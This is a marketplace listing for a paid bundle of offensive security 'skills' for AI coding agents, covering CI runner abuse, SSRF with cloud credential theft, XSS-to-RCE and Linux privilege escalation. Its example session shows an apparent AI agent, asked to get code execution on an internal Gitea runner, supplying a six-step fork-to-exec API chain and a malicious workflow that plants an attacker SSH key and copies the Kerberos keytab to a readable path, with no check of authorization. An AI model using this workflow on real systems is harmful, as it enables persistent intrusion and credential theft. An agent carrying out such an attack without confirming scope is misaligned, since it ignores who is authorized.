Adversary Playbook — 9-Skill Security Assessment Bundle
A 9-skill security assessment library for AI coding agents. Each skill is a complete, replicable workflow for one class of security testing — written for authorized engagements (your own lab, a CTF range, or a signed scope of work), with the pitfalls that cost real hours already documented.
Every skill follows the same structure: trigger, technique, exact commands with placeholders, and a "we lost three hours to this" pitfalls list. Portable by design — no environment-specific hosts, addresses or paths, so each one applies to any target you are authorized to test.
Built and verified in a working homelab across dozens of engagement-class sessions, then generalized into replicable playbooks. MIT licensed.
Works with every agent that reads SKILL.md — Claude Code, Cursor, Codex CLI, Gemini CLI, GitHub Copilot, Windsurf, OpenClaw, and more.
One payment, lifetime access. 9 skills unlock instantly in your library.
30-day refund guarantee
Instant unlock in your library
Free updates from the creator
What's included
9 skills
Automate fork-to-exec attacks on Gitea and GitHub Actions runners to escalate privileges and extract domain credentials.
Extract client-side crypto keys from JS bundles to forge valid payloads and test server-side trust.
Standardized operational workflow for starting CTF boxes and offensive security engagements.
Identify and exploit Gitea Actions CI/CD vulnerabilities, including auth bypasses and rogue runner registration.
A technical playbook for identifying, testing, and escalating Insecure Direct Object Reference (IDOR) vulnerabilities.
A prioritized privilege escalation ladder for Linux environments focusing on high-yield misconfigurations and secrets.
Automated SSRF bypass, cloud credential theft, and container escape sequence for cloud-native targets.
Convert stored XSS into admin account takeover and RCE by exploiting automated reviewer bots.
Automated triage and secret extraction for VMware .vmem and .vmdk memory forensics.
See it in action
ci runner abuse
Example session with this skill installed
I have access to an internal Gitea instance. I need to get code execution on the 'build-runner-01' box using a fork-to-exec technique. Walk me through the API calls.
- Read your context and instructions
- Compiled the ci runner abuse
Successfully outlined the fork-to-exec exploitation chain for the internal Gitea runner.
Gitea Runner Abuse Execution Plan
| Step | Action | API Endpoint / Method | Payload Notes |
|---|---|---|---|
| 1 | Identity Check | GET /api/v1/user | Verify AD-to-Git mapping via SPNEGO |
| 2 | Fork Repo | POST /repos/{org}/{repo}/forks | Send {}, requires non-empty body |
| 3 | Enable Actions | PATCH /repos/{forkowner}/{repo} | {"has_actions":true} |
| 4 | Upload Workflow | POST /repos/{forkowner}/{repo}/contents/.gitea/workflows/pwn.yml | Base64 encode the YAML payload |
| 5 | Create PR | POST /repos/{org}/{repo}/pulls | Ensure fork is ahead of upstream |
| 6 | Trigger Exec | POST /repos/{org}/{repo}/pulls/{id}/reviews | Event must be COMMENT |
Malicious Workflow Configuration
name: persistence
on:
pull_request_review_comment:
types: [created]
jobs:
exploit:
runs-on: build-runner-01
steps:
- run: |
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAAC3N... attacker@proxy" >> ~/.ssh/authorized_keys
cp /etc/krb5.keytab /tmp/runner.keytab
chmod 644 /tmp/runner.keytab
Next steps
- Run
kinitwith the compromised user to establish the SPNEGO session forcurl. - Monitor
GET /repos/{forkowner}/{repo}/actions/runsto verify the job leaves thequeuedstate. - Attempt SSH connection to the runner IP using the planted public key.
How to install
Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.
- 1
Download the ZIP
Free skills download straight away. Paid skills unlock right after purchase.
- 2
Unzip into your skills folder
Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.
- 3
Ask your agent to use it
Restart the agent if it was already running. It picks the skill up automatically - no config needed.
Skills folder by agent
Click the path to copy it. Create the folder if it does not exist yet.
Reviews
No reviews yet
Be one of the first to try it. Every skill in this bundle passes our trust checks.
Security scanned
Passed our 8-point scan before listing
Fresh listing
Recently published to Agensi
30-day refund
Not a fit? Get your money back